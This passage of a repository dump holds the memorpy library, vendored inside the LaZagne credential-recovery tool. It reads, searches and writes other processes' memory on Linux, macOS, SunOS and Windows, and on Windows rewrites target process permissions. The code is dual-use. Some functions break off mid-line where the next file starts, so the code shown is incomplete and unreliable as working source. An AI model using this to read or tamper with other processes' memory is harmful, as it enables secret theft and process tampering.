PTRACE_TRACEME. 3 - no attach: no processes may use ptrace with PTRACE_ATTACH nor via PTRACE_TRACEME. Once set, this sysctl value cannot be changed. """ try: with open("/proc/sys/kernel/yama/ptrace_scope",'rb') as f: ptrace_scope=int(f.read().strip()) if ptrace_scope==3: logger.warning("yama/ptrace_scope == 3 (no attach). :/") if os.getuid()==0: return elif ptrace_scope == 1: logger.warning("yama/ptrace_scope == 1 (restricted). you can't ptrace other process ... get root") elif ptrace_scope == 2: logger.warning("yama/ptrace_scope == 2 (admin-only). Warning: check you have CAP_SYS_PTRACE") except IOError: pass except Exception as e: logger.warning("Error getting ptrace_scope ?? : %s"%e) def close(self): if self.mem_file: if not LARGE_FILE_SUPPORT: self.mem_file.close() else: c_close(self.mem_file) self.mem_file=None if self.ptrace_started: self.ptrace_detach() def __del__(self): self.close() def _open(self): self.isProcessOpen = True self.check_ptrace_scope() if os.getuid()!=0: #to raise an exception if ptrace is not allowed self.ptrace_attach() self.ptrace_detach() #open file descriptor if not LARGE_FILE_SUPPORT: self.mem_file=open("/proc/" + str(self.pid) + "/mem", 'rb', 0) else: path=create_string_buffer(b"/proc/%d/mem" % self.pid) self.mem_file=open64(byref(path), os.O_RDONLY) @staticmethod def list(): processes=[] for pid in os.listdir("/proc"): try: exe=os.readlink("/proc/%s/exe"%pid) processes.append({"pid":int(pid), "name":exe}) except: pass return processes @staticmethod def pid_from_name(name): #quick and dirty, works with all linux not depending on ps output for pid in os.listdir("/proc"): try: int(pid) except: continue pname="" with open("/proc/%s/cmdline"%pid,'r') as f: pname=f.read() if name in pname: return int(pid) raise ProcessException("No process with such name: %s"%name) ## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH. def _ptrace(self, attach): op = ctypes.c_int(PTRACE_ATTACH if attach else PTRACE_DETACH) c_pid = c_pid_t(self.pid) null = ctypes.c_void_p() if not attach: os.kill(self.pid, signal.SIGSTOP) os.waitpid(self.pid, 0) err = c_ptrace(op, c_pid, null, null) if not attach: os.kill(self.pid, signal.SIGCONT) if err != 0: raise OSError("%s: %s"%( 'PTRACE_ATTACH' if attach else 'PTRACE_DETACH', errno.errorcode.get(ctypes.get_errno(), 'UNKNOWN') )) def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): """ optimizations : i for inode==0 (no file mapping) s to avoid scanning shared regions x to avoid scanning x regions r don't scan ronly regions """ with open("/proc/" + str(self.pid) + "/maps", 'r') as maps_file: for line in maps_file: m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+)\s+([-rwpsx]+)\s+([0-9A-Fa-f]+)\s+([0-9A-Fa-f]+:[0-9A-Fa-f]+)\s+([0-9]+)\s*(.*)', line) if not m: continue start, end, region_protec, offset, dev, inode, pathname = int(m.group(1), 16), int(m.group(2), 16), m.group(3), m.group(4), m.group(5), int(m.group(6)), m.group(7) if start_offset is not None: if start < start_offset: continue if end_offset is not None: if start > end_offset: continue chunk=end-start if 'r' in region_protec: # TODO: handle protec parameter if optimizations: if 'i' in optimizations and inode != 0: continue if 's' in optimizations and 's' in region_protec: continue if 'x' in optimizations and 'x' in region_protec: continue if 'r' in optimizations and not 'w' in region_protec: continue yield start, chunk def ptrace_attach(self): if not self.ptrace_started: res=self._ptrace(True) self.ptrace_started=True return res def ptrace_detach(self): if self.ptrace_started: res=self._ptrace(False) self.ptrace_started=False return res def write_bytes(self, address, data): if not self.ptrace_started: self.ptrace_attach() c_pid = c_pid_t(self.pid) null = ctypes.c_void_p() #we can only copy data per range of 4 or 8 bytes word_size=ctypes.sizeof(ctypes.c_void_p) #mprotect(address, len(data)+(len(data)%word_size), PROT_WRITE|PROT_READ) for i in range(0, len(data), word_size): word=data[i:i+word_size] if len(word). import copy import time import struct from .Address import Address class Locator(object): """ take a memoryworker and a type to search then you can feed the locator with values and it will reduce the addresses possibilities """ def __init__(self, mw, type = 'unknown', start = None, end = None): self.mw = mw self.type = type self.last_iteration = {} self.last_value = None self.start = start self.end = end def find(self, value, erase_last = True): return self.feed(value, erase_last) def feed(self, value, erase_last = True): self.last_value = value new_iter = copy.copy(self.last_iteration) if self.type == 'unknown': all_types = ['uint', 'int', 'long', 'ulong', 'float', 'double', 'short', 'ushort'] else: all_types = [self.type] for type in all_types: if type not in new_iter: try: new_iter[type] = [ Address(x, self.mw.process, type) for x in self.mw.mem_search(value, type, start_offset=self.start, end_offset=self.end) ] except struct.error: new_iter[type] = [] else: l = [] for address in new_iter[type]: try: found = self.mw.process.read(address, type) if int(found) == int(value): l.append(Address(address, self.mw.process, type)) except Exception as e: pass new_iter[type] = l if erase_last: del self.last_iteration self.last_iteration = new_iter return new_iter def get_addresses(self): return self.last_iteration def diff(self, erase_last = False): return self.get_modified_addr(erase_last) def get_modified_addr(self, erase_last = False): last = self.last_iteration new = self.feed(self.last_value, erase_last=erase_last) ret = {} for type, l in last.iteritems(): typeset = set(new[type]) for addr in l: if addr not in typeset: if type not in ret: ret[type] = [] ret[type].append(addr) return ret ================================================ FILE: Windows/lazagne/config/lib/memorpy/MemWorker.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import sys import string import re import logging import traceback import binascii import struct from .Process import * from .utils import * from .Address import Address from .BaseProcess import ProcessException from .structures import * logger = logging.getLogger('memorpy') REGEX_TYPE=type(re.compile("^plop$")) class MemWorker(object): def __init__(self, pid=None, name=None, end_offset = None, start_offset = None, debug=True): self.process = Process(name=name, pid=pid, debug=debug) def __enter__(self): return self def __exit__(self, type, value, traceback): self.process.close() def Address(self, value, default_type = 'uint'): """ wrapper to instanciate an Address class for the memworker.process""" return Address(value, process=self.process, default_type=default_type) def umem_replace(self, regex, replace): """ like search_replace_mem but works with unicode strings """ regex = re_to_unicode(regex) replace = replace.encode('utf-16-le') return self.mem_replace(re.compile(regex, re.UNICODE), replace) def mem_replace(self, regex, replace): """ search memory for a pattern and replace all found occurrences """ allWritesSucceed = True for _, start_offset in self.mem_search(regex, ftype='re'): if self.process.write_bytes(start_offset, replace) == 1: logger.debug('Write at offset %s succeeded !' % start_offset) else: allWritesSucceed = False logger.debug('Write at offset %s failed !' % start_offset) return allWritesSucceed def umem_search(self, regex): """ like mem_search but works with unicode strings """ regex = re_to_unicode(regex) for _, i in self.mem_search(str(regex), ftype='re'): yield i def group_search(self, group, start_offset = None, end_offset = None): regex = '' for value, type in group: if type == 'f' or type == 'float': f = struct.pack('. import copy import struct import utils import platform import ctypes, re, sys import ctypes.util import errno import os import signal from .BaseProcess import BaseProcess, ProcessException from .structures import * import logging import subprocess logger = logging.getLogger('memorpy') libc = ctypes.CDLL(ctypes.util.find_library('c')) VM_REGION_BASIC_INFO_64 = 9 class vm_region_basic_info_64(ctypes.Structure): _fields_ = [ ('protection', ctypes.c_uint32), ('max_protection', ctypes.c_uint32), ('inheritance', ctypes.c_uint32), ('shared', ctypes.c_uint32), ('reserved', ctypes.c_uint32), ('offset', ctypes.c_ulonglong), ('behavior', ctypes.c_uint32), ('user_wired_count',ctypes.c_ushort), ] VM_REGION_BASIC_INFO_COUNT_64 = ctypes.sizeof(vm_region_basic_info_64) / 4 VM_PROT_READ = 1 VM_PROT_WRITE = 2 VM_PROT_EXECUTE = 4 class OSXProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True): """ Create and Open a process object from its pid or from its name """ super(OSXProcess, self).__init__() if pid is not None: self.pid=pid elif name is not None: self.pid=OSXProcess.pid_from_name(name) else: raise ValueError("You need to instanciate process with at least a name or a pid") self.task=None self.mytask=None self._open() def close(self): pass def __del__(self): pass def _open(self): self.isProcessOpen = True self.task = ctypes.c_uint32() self.mytask=libc.mach_task_self() ret=libc.task_for_pid(self.mytask, ctypes.c_int(self.pid), ctypes.pointer(self.task)) if ret!=0: raise ProcessException("task_for_pid failed with error code : %s"%ret) @staticmethod def list(): #TODO list processes with ctypes processes=[] res=subprocess.check_output("ps A", shell=True) for line in res.split('\n'): try: tab=line.split() pid=int(tab[0]) exe=' '.join(tab[4:]) processes.append({"pid":int(pid), "name":exe}) except: pass return processes @staticmethod def pid_from_name(name): for dic in OSXProcess.list(): if name in dic['exe']: return dic['pid'] def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): """ optimizations : i for inode==0 (no file mapping) s to avoid scanning shared regions x to avoid scanning x regions r don't scan ronly regions """ maps = [] address = ctypes.c_ulong(0) mapsize = ctypes.c_ulong(0) name = ctypes.c_uint32(0) count = ctypes.c_uint32(VM_REGION_BASIC_INFO_COUNT_64) info = vm_region_basic_info_64() while True: r = libc.mach_vm_region(self.task, ctypes.pointer(address), ctypes.pointer(mapsize), VM_REGION_BASIC_INFO_64, ctypes.pointer(info), ctypes.pointer(count), ctypes.pointer(name)) # If we get told "invalid address", we have crossed into kernel land... if r == 1: break if r != 0: raise ProcessException('mach_vm_region failed with error code %s' % r) if start_offset is not None: if address.value < start_offset: address.value += mapsize.value continue if end_offset is not None: if address.value > end_offset: break p = info.protection if p & VM_PROT_EXECUTE: if optimizations and 'x' in optimizations: address.value += mapsize.value continue if info.shared: if optimizations and 's' in optimizations: address.value += mapsize.value continue if p & VM_PROT_READ: if not (p & VM_PROT_WRITE): if optimizations and 'r' in optimizations: address.value += mapsize.value continue yield address.value, mapsize.value address.value += mapsize.value def write_bytes(self, address, data): raise NotImplementedError("write not implemented on OSX") return True def read_bytes(self, address, bytes = 4): pdata = ctypes.c_void_p(0) data_cnt = ctypes.c_uint32(0) ret = libc.mach_vm_read(self.task, ctypes.c_ulonglong(address), ctypes.c_longlong(bytes), ctypes.pointer(pdata), ctypes.pointer(data_cnt)); #if ret==1: # return "" if ret!=0: raise ProcessException("mach_vm_read returned : %s"%ret) buf=ctypes.string_at(pdata.value, data_cnt.value) libc.vm_deallocate(self.mytask, pdata, data_cnt) return buf ================================================ FILE: Windows/lazagne/config/lib/memorpy/Process.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- import sys from .BaseProcess import * if sys.platform=='win32': from .WinProcess import WinProcess as Process elif sys.platform=='darwin': from .OSXProcess import OSXProcess as Process elif 'sunos' in sys.platform: from .SunProcess import SunProcess as Process else: from .LinProcess import LinProcess as Process ================================================ FILE: Windows/lazagne/config/lib/memorpy/SunProcess.py ================================================ # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from .BaseProcess import BaseProcess, ProcessException import struct import os MA_READ = 0x04 MA_WRITE = 0x02 MA_EXEC = 0x01 MA_SHARED = 0x08 MA_ANON = 0x40 MA_ISM = 0x80 MA_NORESERVE = 0x100 MA_SHM = 0x200 MA_RESERVED1 = 0x400 MA_OSM = 0x800 PSINFO_T = struct.Struct( 'iiiIIIIIIIILLLLHHLLLLLL16s80siiLLciILLcccchi8sLLIIIIII' ) MAP_T = struct.Struct( 'LL64sQiiii' ) class SunProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True, ptrace=None): ''' Create and Open a process object from its pid or from its name ''' super(SunProcess, self).__init__() self.pid = int(pid) self.pas = None self.writable = False if name and not self.pid: self.pid = SunProcess.pid_from_name(name) if not name and not self.pid: raise ValueError('You need to instanciate process with at least a name or a pid') try: self._open() except: pass def close(self): if self.pas: self.pas.close() def __del__(self): self.close() def _open(self): try: self.pas = open('/proc/%d/as'%(self.pid), 'w+') self.writable = True except IOError: self.pas = open('/proc/%d/as'%(self.pid)) self.isProcessOpen = True @staticmethod def _name_args(pid): with open('/proc/%d/psinfo'%(int(pid))) as psinfo: items = PSINFO_T.unpack_from(psinfo.read()) return items[23].rstrip('\x00'), items[24].rstrip('\x00') @staticmethod def list(): processes=[] for pid in os.listdir('/proc'): try: pid = int(pid) name, _ = SunProcess._name_args(pid) processes.append({ 'pid': pid, 'name': name }) except: pass return processes @staticmethod def pid_from_name(name): processes=[] for pid in os.listdir('/proc'): try: pid = int(pid) pname, cmdline = SunProcess._name_args(pid) if name in pname: return pid if name in cmdline.split(' ', 1)[0]: return pid except: pass raise ProcessException('No process with such name: %s'%name) def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): """ optimizations : i for inode==0 (no file mapping) s to avoid scanning shared regions x to avoid scanning x regions r don't scan ronly regions """ if not self.isProcessOpen: return with open('/proc/%d/map'%(self.pid)) as maps_file: while True: mapping = maps_file.read(MAP_T.size) if not mapping: break start, size, name, offset, flags, pagesize, shmid, filler = MAP_T.unpack(mapping) if start_offset is not None: if start < start_offset: continue if end_offset is not None: if start > end_offset: continue if not flags & MA_READ: continue if optimizations: if 'i' in optimizations and not flags & MA_ANON: continue if 's' in optimizations and flags & MA_SHM: continue # in sunos it's quite common when this flag is set, so let's use other letter if 'X' in optimizations and flags & MA_EXEC: continue if 'r' in optimizations and not flags & MA_WRITE: continue yield start, size def write_bytes(self, address, data): if not self.pas or not self.writable: return False self.pas.seek(address) self.pas.write(data) return True def read_bytes(self, address, bytes = 4): if not self.pas: return self.pas.seek(address) return self.pas.read(bytes) ================================================ FILE: Windows/lazagne/config/lib/memorpy/WinProcess.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from ctypes import pointer, sizeof, windll, create_string_buffer, c_ulong, byref, GetLastError, c_bool, WinError from .structures import * import copy import struct # import utils import platform from .BaseProcess import BaseProcess, ProcessException psapi = windll.psapi kernel32 = windll.kernel32 advapi32 = windll.advapi32 IsWow64Process=None if hasattr(kernel32,'IsWow64Process'): IsWow64Process=kernel32.IsWow64Process IsWow64Process.restype = c_bool IsWow64Process.argtypes = [c_void_p, POINTER(c_bool)] class WinProcess(BaseProcess): def __init__(self, pid=None, name=None, debug=True): """ Create and Open a process object from its pid or from its name """ super(WinProcess, self).__init__() if pid: self._open(int(pid), debug=debug) elif name: self._open_from_name(name, debug=debug) else: raise ValueError("You need to instanciate process with at least a name or a pid") if self.is_64bit(): si = self.GetNativeSystemInfo() self.max_addr = si.lpMaximumApplicationAddress else: si = self.GetSystemInfo() self.max_addr = 2147418111 self.min_addr = si.lpMinimumApplicationAddress def __del__(self): self.close() def is_64bit(self): if not "64" in platform.machine(): return False iswow64 = c_bool(False) if IsWow64Process is None: return False if not IsWow64Process(self.h_process, byref(iswow64)): raise WinError() return not iswow64.value @staticmethod def list(): processes=[] arr = c_ulong * 256 lpidProcess= arr() cb = sizeof(lpidProcess) cbNeeded = c_ulong() hModule = c_ulong() count = c_ulong() modname = create_string_buffer(100) PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 psapi.EnumProcesses(byref(lpidProcess), cb, byref(cbNeeded)) nReturned = int(cbNeeded.value/sizeof(c_ulong())) pidProcess = [i for i in lpidProcess][:nReturned] for pid in pidProcess: proc={ "pid": int(pid) } hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid) if hProcess: psapi.EnumProcessModules(hProcess, byref(hModule), sizeof(hModule), byref(count)) psapi.GetModuleBaseNameA(hProcess, hModule.value, modname, sizeof(modname)) proc["name"]=modname.value.decode() kernel32.CloseHandle(hProcess) processes.append(proc) return processes @staticmethod def processes_from_name(processName): processes = [] for process in WinProcess.list(): if processName == process.get("name", None) or (process.get("name","").lower().endswith(".exe") and process.get("name","")[:-4]==processName): processes.append(process) if len(processes) > 0: return processes @staticmethod def name_from_process(dwProcessId): process_list = WinProcess.list() for process in process_list: if process.pid == dwProcessId: return process.get("name", None) return False def _open(self, dwProcessId, debug=False): if debug: ppsidOwner = DWORD() ppsidGroup = DWORD() ppDacl = DWORD() ppSacl = DWORD() ppSecurityDescriptor = SECURITY_DESCRIPTOR() process = kernel32.OpenProcess(262144, 0, dwProcessId) advapi32.GetSecurityInfo(kernel32.GetCurrentProcess(), 6, 0, byref(ppsidOwner), byref(ppsidGroup), byref(ppDacl), byref(ppSacl), byref(ppSecurityDescriptor)) advapi32.SetSecurityInfo(process, 6, DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION, None, None, ppSecurityDescriptor.dacl, ppSecurityDescriptor.group) kernel32.CloseHandle(process) self.h_process = kernel32.OpenProcess(2035711, 0, dwProcessId) if self.h_process is not None: self.isProcessOpen = True self.pid = dwProcessId return True return False def close(self): if self.h_process is not None: ret = kernel32.CloseHandle(self.h_process) == 1 if ret: self.h_process = None self.pid = None self.isProcessOpen = False return ret return False def _open_from_name(self, processName, debug=False): processes = self.processes_from_name(processName) if not processes: raise ProcessException("can't get pid from name %s" % processName) elif len(processes)>1: raise ValueError("There is multiple processes with name %s. Please select a process from its pid instead"%processName) if debug: self._open(processes[0]["pid"], debug=True) else: self._open(processes[0]["pid"], debug=False) def GetSystemInfo(self): si = SYSTEM_INFO() kernel32.GetSystemInfo(byref(si)) return si def GetNativeSystemInfo(self): si = SYSTEM_INFO() kernel32.GetNativeSystemInfo(byref(si)) return si def VirtualQueryEx(self, lpAddress): mbi = MEMORY_BASIC_INFORMATION() if not VirtualQueryEx(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) return mbi def VirtualQueryEx64(self, lpAddress): mbi = MEMORY_BASIC_INFORMATION64() if not VirtualQueryEx64(self.h_process, lpAddress, byref(mbi), sizeof(mbi)): raise ProcessException('Error VirtualQueryEx: 0x%08X' % lpAddress) return mbi def VirtualProtectEx(self, base_address, size, protection): old_protect = c_ulong(0) if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)): raise ProcessException('Error: VirtualProtectEx(%08X, %d, %08X)' % (base_address, size, protection)) return old_protect.value def iter_region(self, start_offset=None, end_offset=None, protec=None, optimizations=None): offset = start_offset or self.min_addr end_offset = end_offset or self.max_addr while True: if offset >= end_offset: break mbi = self.VirtualQueryEx(offset) offset = mbi.BaseAddress chunk = mbi.RegionSize protect = mbi.Protect state = mbi.State #print "offset: %s, chunk:%s"%(offset, chunk) if state & MEM_FREE or state & MEM_RESERVE: offset += chunk continue if protec: if not protect & protec or protect & PAGE_NOCACHE or protect & PAGE_WRITECOMBINE or protect & PAGE_GUARD: offset += chunk continue yield offset, chunk offset += chunk def write_bytes(self, address, data): address = int(address) if not self.isProcessOpen: raise ProcessException("Can't write_bytes(%s, %s), process %s is not open" % (address, data, self.pid)) buffer = create_string_buffer(data) sizeWriten = c_size_t(0) bufferSize = sizeof(buffer) - 1 _address = address _length = bufferSize + 1 try: old_protect = self.VirtualProtectEx(_address, _length, PAGE_EXECUTE_READWRITE) except: pass res = kernel32.WriteProcessMemory(self.h_process, address, buffer, bufferSize, byref(sizeWriten)) try: self.VirtualProtectEx(_address, _length, old_protect) except: pass return res def read_bytes(self, address, bytes = 4, use_NtWow64ReadVirtualMemory64=False): #print "reading %s bytes from addr %s"%(bytes, address) if use_NtWow64ReadVirtualMemory64: if NtWow64ReadVirtualMemory64 is None: raise WindowsError("NtWow64ReadVirtualMemory64 is not available from a 64bit process") RpM = NtWow64ReadVirtualMemory64 else: RpM = ReadProcessMemory address = int(address) buffer = create_string_buffer(bytes) bytesread = c_size_t(0) data = b'' length = bytes while length: if RpM(self.h_process, address, buffer, bytes, byref(bytesread)) or (use_NtWow64ReadVirtualMemory64 and GetLastError() == 0): if bytesread.value: data += buffer.raw[:bytesread.value] length -= bytesread.value address += bytesread.value if not len(data): raise ProcessException('Error %s in ReadProcessMemory(%08x, %d, read=%d)' % (GetLastError(), address, length, bytesread.value)) return data else: if GetLastError()==299: #only part of ReadProcessMemory has been done, let's return it data += buffer.raw[:bytesread.value] return data raise WinError() # data += buffer.raw[:bytesread.value] # length -= bytesread.value # address += bytesread.value return data def list_modules(self): module_list = [] if self.pid is not None: hModuleSnap = CreateToolhelp32Snapshot(TH32CS_CLASS.SNAPMODULE, self.pid) if hModuleSnap is not None: module_entry = MODULEENTRY32() module_entry.dwSize = sizeof(module_entry) success = Module32First(hModuleSnap, byref(module_entry)) while success: if module_entry.th32ProcessID == self.pid: module_list.append(copy.copy(module_entry)) success = Module32Next(hModuleSnap, byref(module_entry)) kernel32.CloseHandle(hModuleSnap) return module_list def get_symbolic_name(self, address): for m in self.list_modules(): if int(m.modBaseAddr) <= int(address) < int(m.modBaseAddr + m.modBaseSize): return '%s+0x%08X' % (m.szModule, int(address) - m.modBaseAddr) return '0x%08X' % int(address) def hasModule(self, module): if module[-4:] != '.dll': module += '.dll' module_list = self.list_modules() for m in module_list: if module in m.szExePath.split('\\'): return True return False def get_instruction(self, address): """ Pydasm disassemble utility function wrapper. Returns the pydasm decoded instruction in self.instruction. """ import pydasm try: data = self.read_bytes(int(address), 32) except: return 'Unable to disassemble at %08x' % address return pydasm.get_instruction(data, pydasm.MODE_32) ================================================ FILE: Windows/lazagne/config/lib/memorpy/WinStructures.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . from ctypes import Structure, c_long, c_int, c_uint, c_char, c_void_p, c_ubyte, c_ushort, c_ulong, c_ulonglong, windll, POINTER, sizeof, c_bool, c_size_t, c_longlong from ctypes.wintypes import * if sizeof(c_void_p) == 8: ULONG_PTR = c_ulonglong else: ULONG_PTR = c_ulong class SECURITY_DESCRIPTOR(Structure): _fields_ = [ ('SID', DWORD), ('group', DWORD), ('dacl', DWORD), ('sacl', DWORD), ('test', DWORD) ] PSECURITY_DESCRIPTOR = POINTER(SECURITY_DESCRIPTOR) class MEMORY_BASIC_INFORMATION(Structure): _fields_ = [('BaseAddress', c_void_p), ('AllocationBase', c_void_p), ('AllocationProtect', DWORD), ('RegionSize', c_size_t), ('State', DWORD), ('Protect', DWORD), ('Type', DWORD)] # https://msdn.microsoft.com/fr-fr/library/windows/desktop/aa366775(v=vs.85).aspx class MEMORY_BASIC_INFORMATION64(Structure): _fields_ = [('BaseAddress', c_ulonglong), ('AllocationBase', c_ulonglong), ('AllocationProtect', DWORD), ('alignement1', DWORD), ('RegionSize', c_ulonglong), ('State', DWORD), ('Protect', DWORD), ('Type', DWORD), ('alignement2', DWORD)] class SYSTEM_INFO(Structure): _fields_ = [('wProcessorArchitecture', WORD), ('wReserved', WORD), ('dwPageSize', DWORD), ('lpMinimumApplicationAddress', LPVOID), ('lpMaximumApplicationAddress', LPVOID), ('dwActiveProcessorMask', ULONG_PTR), ('dwNumberOfProcessors', DWORD), ('dwProcessorType', DWORD), ('dwAllocationGranularity', DWORD), ('wProcessorLevel', WORD), ('wProcessorRevision', WORD)] class PROCESSENTRY32(Structure): _fields_ = [('dwSize', c_uint), ('cntUsage', c_uint), ('th32ProcessID', c_uint), ('th32DefaultHeapID', c_uint), ('th32ModuleID', c_uint), ('cntThreads', c_uint), ('th32ParentProcessID', c_uint), ('pcPriClassBase', c_long), ('dwFlags', DWORD), #('dwFlags', ULONG_PTR), ('szExeFile', c_char * 260), ('th32MemoryBase', c_long), ('th32AccessKey', c_long)] class MODULEENTRY32(Structure): _fields_ = [('dwSize', c_uint), ('th32ModuleID', c_uint), ('th32ProcessID', c_uint), ('GlblcntUsage', c_uint), ('ProccntUsage', c_uint), ('modBaseAddr', c_uint), ('modBaseSize', c_uint), ('hModule', c_uint), ('szModule', c_char * 256), ('szExePath', c_char * 260)] class THREADENTRY32(Structure): _fields_ = [('dwSize', c_uint), ('cntUsage', c_uint), ('th32ThreadID', c_uint), ('th32OwnerProcessID', c_uint), ('tpBasePri', c_uint), ('tpDeltaPri', c_uint), ('dwFlags', c_uint)] class TH32CS_CLASS(object): INHERIT = 2147483648 SNAPHEAPLIST = 1 SNAPMODULE = 8 SNAPMODULE32 = 16 SNAPPROCESS = 2 SNAPTHREAD = 4 ALL = 2032639 Module32First = windll.kernel32.Module32First Module32First.argtypes = [c_void_p, POINTER(MODULEENTRY32)] Module32First.rettype = c_int Module32Next = windll.kernel32.Module32Next Module32Next.argtypes = [c_void_p, POINTER(MODULEENTRY32)] Module32Next.rettype = c_int Process32First = windll.kernel32.Process32First Process32First.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] Process32First.rettype = c_int Process32Next = windll.kernel32.Process32Next Process32Next.argtypes = [c_void_p, POINTER(PROCESSENTRY32)] Process32Next.rettype = c_int CreateToolhelp32Snapshot = windll.kernel32.CreateToolhelp32Snapshot CreateToolhelp32Snapshot.reltype = c_long CreateToolhelp32Snapshot.argtypes = [c_int, c_int] CloseHandle = windll.kernel32.CloseHandle CloseHandle.argtypes = [c_void_p] CloseHandle.rettype = c_int OpenProcess = windll.kernel32.OpenProcess OpenProcess.argtypes = [c_void_p, c_int, c_long] OpenProcess.rettype = c_long OpenProcessToken = windll.advapi32.OpenProcessToken OpenProcessToken.argtypes = (HANDLE, DWORD, POINTER(HANDLE)) OpenProcessToken.restype = BOOL ReadProcessMemory = windll.kernel32.ReadProcessMemory ReadProcessMemory.argtypes = [HANDLE, LPCVOID, LPVOID, c_size_t, POINTER(c_size_t)] ReadProcessMemory = windll.kernel32.ReadProcessMemory WriteProcessMemory = windll.kernel32.WriteProcessMemory WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPCVOID, c_size_t, POINTER(c_size_t)] WriteProcessMemory.restype = BOOL if sizeof(c_void_p) == 8: NtWow64ReadVirtualMemory64=None else: try: NtWow64ReadVirtualMemory64 = windll.ntdll.NtWow64ReadVirtualMemory64 NtWow64ReadVirtualMemory64.argtypes = [HANDLE, c_longlong, LPVOID, c_ulonglong, POINTER(c_ulong)] # NTSTATUS (__stdcall *NtWow64ReadVirtualMemory64)(HANDLE ProcessHandle, PVOID64 BaseAddress, PVOID Buffer, ULONGLONG BufferSize, PULONGLONG NumberOfBytesRead); NtWow64ReadVirtualMemory64.restype = BOOL except: NtWow64ReadVirtualMemory64=None VirtualQueryEx = windll.kernel32.VirtualQueryEx VirtualQueryEx.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION), c_size_t] VirtualQueryEx.restype = c_size_t #VirtualQueryEx64 = windll.kernel32.VirtualQueryEx #VirtualQueryEx64.argtypes = [HANDLE, LPCVOID, POINTER(MEMORY_BASIC_INFORMATION64), c_size_t] #VirtualQueryEx64.restype = c_size_t PAGE_EXECUTE_READWRITE = 64 PAGE_EXECUTE_READ = 32 PAGE_READONLY = 2 PAGE_READWRITE = 4 PAGE_NOCACHE = 512 PAGE_WRITECOMBINE = 1024 PAGE_GUARD = 256 MEM_COMMIT = 4096 MEM_FREE = 65536 MEM_RESERVE = 8192 UNPROTECTED_DACL_SECURITY_INFORMATION = 536870912 DACL_SECURITY_INFORMATION = 4 ================================================ FILE: Windows/lazagne/config/lib/memorpy/__init__.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import logging logger=logging.getLogger("memorpy") logger.setLevel(logging.WARNING) ch = logging.StreamHandler() ch.setLevel(logging.WARNING) logger.addHandler(ch) import sys from .MemWorker import * from .Locator import * from .Address import * from .Process import * from .utils import * #if sys.platform=="win32": # from wintools import * #not a necessary dependency, just used for debugging ================================================ FILE: Windows/lazagne/config/lib/memorpy/structures.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- import sys if sys.platform=="win32": from .WinStructures import * else: from .LinStructures import * ================================================ FILE: Windows/lazagne/config/lib/memorpy/utils.py ================================================ # Author: Nicolas VERDIER # This file is part of memorpy. # # memorpy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # memorpy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with memorpy. If not, see . import re import struct def re_to_unicode(s): newstring = '' for c in s: newstring += re.escape(c) + '\\x00' return newstring def type_unpack(type): """ return the struct and the len of a particular type """ type = type.lower() s = None l = None if type == 'short': s = 'h' l = 2 elif type == 'ushort': s = 'H' l = 2 elif type == 'int': s = 'i' l = 4 elif type == 'uint': s = 'I' l = 4 elif type == 'long': s = 'l' l = 4 